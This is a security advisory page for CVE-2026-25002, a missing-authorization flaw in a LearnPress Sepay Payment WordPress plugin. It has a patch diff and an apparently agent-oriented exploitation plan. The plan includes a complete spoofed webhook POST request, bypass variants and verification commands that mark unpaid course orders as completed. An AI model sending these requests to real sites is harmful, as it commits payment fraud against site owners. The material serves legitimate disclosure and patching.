CVE-2026-25002

LearnPress – Sepay Payment <= 4.0.0 - Missing Authorization

lowMissing Authorization
3.7
CVSS Score
3.7
CVSS Score
low
Severity
4.0.1
Patched in
12d
Time to patch

Description

The LearnPress – Sepay Payment plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.0.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.0.0
PublishedMarch 16, 2026
Last updatedMarch 27, 2026

What Changed in the Fix

Changes introduced in v4.0.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: LearnPress – Sepay Payment <= 4.0.0 - Missing Authorization ## 1. Vulnerability Summary The **LearnPress – Sepay Payment** plugin for WordPress (up to version 4.0.0) contains a **Missing Authorization** vulnerability in its REST API webhook handler. The plugin register…

Show full research plan

Exploitation Research Plan: LearnPress – Sepay Payment <= 4.0.0 - Missing Authorization

1. Vulnerability Summary

The LearnPress – Sepay Payment plugin for WordPress (up to version 4.0.0) contains a Missing Authorization vulnerability in its REST API webhook handler. The plugin registers a REST route learnpress-sepay/v1/listen-webhook to receive payment notifications from the Sepay gateway. Due to a failure to properly enforce authentication or validate the api_key (specifically when the key is unset or empty), unauthenticated attackers can spoof payment notifications.

The core of the issue likely resides in LP_Gateway_Sepay::is_apikey(), which uses str_contains(). If the administrator has not configured an API key, the check can be bypassed, allowing attackers to manipulate order statuses.

2. Attack Vector Analysis

  • Endpoint: /wp-json/learnpress-sepay/v1/listen-webhook
  • Method: POST
  • Authentication: Unauthenticated (Missing/Weak permission_callback and weak API key validation).
  • Vulnerable Parameter: The JSON body of the POST request, specifically the content field containing the Order ID.
  • Precondition: The vulnerability is most exploitable when the "API Key for webhook" is empty or when the plugin fails to verify the presence of the Authorization header before passing it to is_apikey().

3. Code Flow

  1. Route Registration: The plugin (likely in inc/class-lp-addon-sepay-payment-preload.php or similar initialization code) registers the route learnpress-sepay/v1/listen-webhook using register_rest_route.
  2. Missing Permission Check: The permission_callback for this route is likely set to __return_true, relying on internal function logic for security.
  3. Internal Logic: The handler retrieves the Authorization header and passes it to LP_Gateway_Sepay::is_apikey(string $authorization).
  4. Weak Validation:
    // From inc/class-lp-gateway-sepay.php
    public function is_apikey( string $authorization ) {
        return str_contains( $authorization, $this->apikey );
    }
    
    If $this->apikey is empty (default state or not yet configured), str_contains($authorization, '') returns true in PHP 8+, effectively bypassing the check.
  5. Processing: The handler then parses the JSON body. It extracts the transaction "content" (e.g., "DH123"), strips the prefix ("DH"), and finds the LearnPress order (ID 123). It then marks this order as paid/completed.

4. Nonce Acquisition Strategy

The target endpoint is a REST API Webhook. Webhooks are designed to be called by external services (Sepay servers) and typically do not require WordPress CSRF nonces because they do not rely on cookie-based authentication.

  • Check Requirement: If the REST API was registered with permission_callback => '__return_true', no nonce is required for the POST request.
  • Verification: Attempting a POST request without an X-WP-Nonce header. If the response is not a 403 "rest_cookie_invalid", the endpoint is accessible without a nonce.

5. Exploitation Strategy

The goal is to mark a pending LearnPress order as "Completed" by sending a spoofed Sepay webhook notification.

Step-by-Step Plan:

  1. Identify Order ID and Prefix: Create a LearnPress order as a guest/student. Note the Order ID (e.g., 15) and the prefix defined in settings (default is DH per config/settings.php).
  2. Identify Webhook URL: The endpoint is /wp-json/learnpress-sepay/v1/listen-webhook.
  3. Craft Spoofed Payload: Create a JSON payload mimicking the Sepay webhook format.
  4. Execute Attack: Send a POST request to the webhook URL.

HTTP Request (via http_request tool):

POST /wp-json/learnpress-sepay/v1/listen-webhook HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json
Authorization: Bearer any_string_or_empty

{
  "id": 9999999,
  "gateway": "Vietcombank",
  "transactionDate": "2025-01-01 10:00:00",
  "accountNumber": "0011000123456",
  "transferType": "in",
  "transferAmount": 1000,
  "accumulated": 1000,
  "content": "DH15",
  "referenceCode": "SPOOFED123",
  "description": "Spoofed Payment"
}

Note: Replace DH15 with the actual prefix and Order ID.

6. Test Data Setup

  1. Plugin Configuration:
    • Install and activate LearnPress.
    • Install and activate LearnPress – Sepay Payment.
    • Go to LearnPress > Settings > Payments > Sepay.
    • Set Enable to yes.
    • Ensure API Key for webhook is left blank (simulating an unconfigured or default setup).
  2. Content Setup:
    • Create a dummy course with a price (e.g., $10).
  3. Order Creation:
    • Use the browser_navigate tool to visit the course page.
    • Click "Buy Now" and proceed to checkout.
    • Select "Sepay" as the payment method.
    • Place the order.
    • Note the resulting Order ID from the URL or page content (e.g., Order #15).

7. Expected Results

  • HTTP Response: The REST API should return a 200 OK (possibly with a JSON success message from the plugin).
  • State Change: The LearnPress order status should change from Pending (or Processing) to Completed.
  • Course Access: The student user should now have "Enrolled" access to the course without having performed a real bank transfer.

8. Verification Steps

  1. WP-CLI Status Check:
    wp post list --post_type=lp_order --post_status=lp-completed
    
    Check if the Order ID created in "Test Data Setup" now appears with the lp-completed status.
  2. User Enrollment Check:
    wp user list --role=subscriber
    # Then check if the user has the 'enrolled-course' meta or check via LearnPress tables:
    wp db query "SELECT * FROM wp_learnpress_user_items WHERE item_id = [COURSE_ID] AND user_id = [USER_ID]"
    

9. Alternative Approaches

If the Authorization header is strictly required even when the key is empty:

  • Try sending Authorization: Bearer (space at the end).
  • Try sending Authorization: (empty header).

If the str_contains check is not the primary flaw:

  • Analyze the permission_callback using wp-cli to see if it is truly __return_true.
  • Test if the order prefix is ignored or if the order ID can be passed in other fields (e.g., description).
  • If the AC:H (High Complexity) in the CVSS vector refers to something else, investigate if a specific "Bank" must be selected in settings for the REST route to be active.
Research Findings
Static analysis — not yet PoC-verified

Summary

The LearnPress – Sepay Payment plugin is vulnerable to unauthenticated payment spoofing due to a weak authorization check in its REST API webhook handler. When the webhook API key is not configured (leaving it empty), the check using str_contains() returns true for any authorization header, allowing attackers to mark LearnPress orders as completed without actual payment.

Vulnerable Code

// inc/class-lp-gateway-sepay.php line 147
/**
 * Check API key
 *
 * @param  string $authorization Sepay Authorization String
 * @return boolean
 */
public function is_apikey( string $authorization ) {
	return str_contains( $authorization, $this->apikey );
}

Security Fix

--- inc/class-lp-gateway-sepay.php
+++ inc/class-lp-gateway-sepay.php
@@ -148,5 +148,8 @@
 		 */
 		public function is_apikey( string $authorization ) {
-			return str_contains( $authorization, $this->apikey );
+			if ( empty( $this->apikey ) ) {
+				return false;
+			}
+			return str_contains( $authorization, $this->apikey );
 		}

Exploit Outline

1. Identify a target LearnPress order ID and its prefix (default is 'DH'). 2. Locate the webhook endpoint at `/wp-json/learnpress-sepay/v1/listen-webhook`. 3. Craft a POST request to this endpoint with a JSON payload mimicking a Sepay transaction. Ensure the 'content' field contains the concatenated prefix and order ID (e.g., 'DH15'). 4. Include an 'Authorization' header (e.g., 'Bearer spoofed'). 5. If the site administrator has not configured a specific API key, the vulnerable `is_apikey` function will perform `str_contains('Bearer spoofed', '')`, which returns true in PHP 8+. 6. The plugin processes the payload, extracts the order ID, and updates the order status to 'Completed', granting the attacker access to the course.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.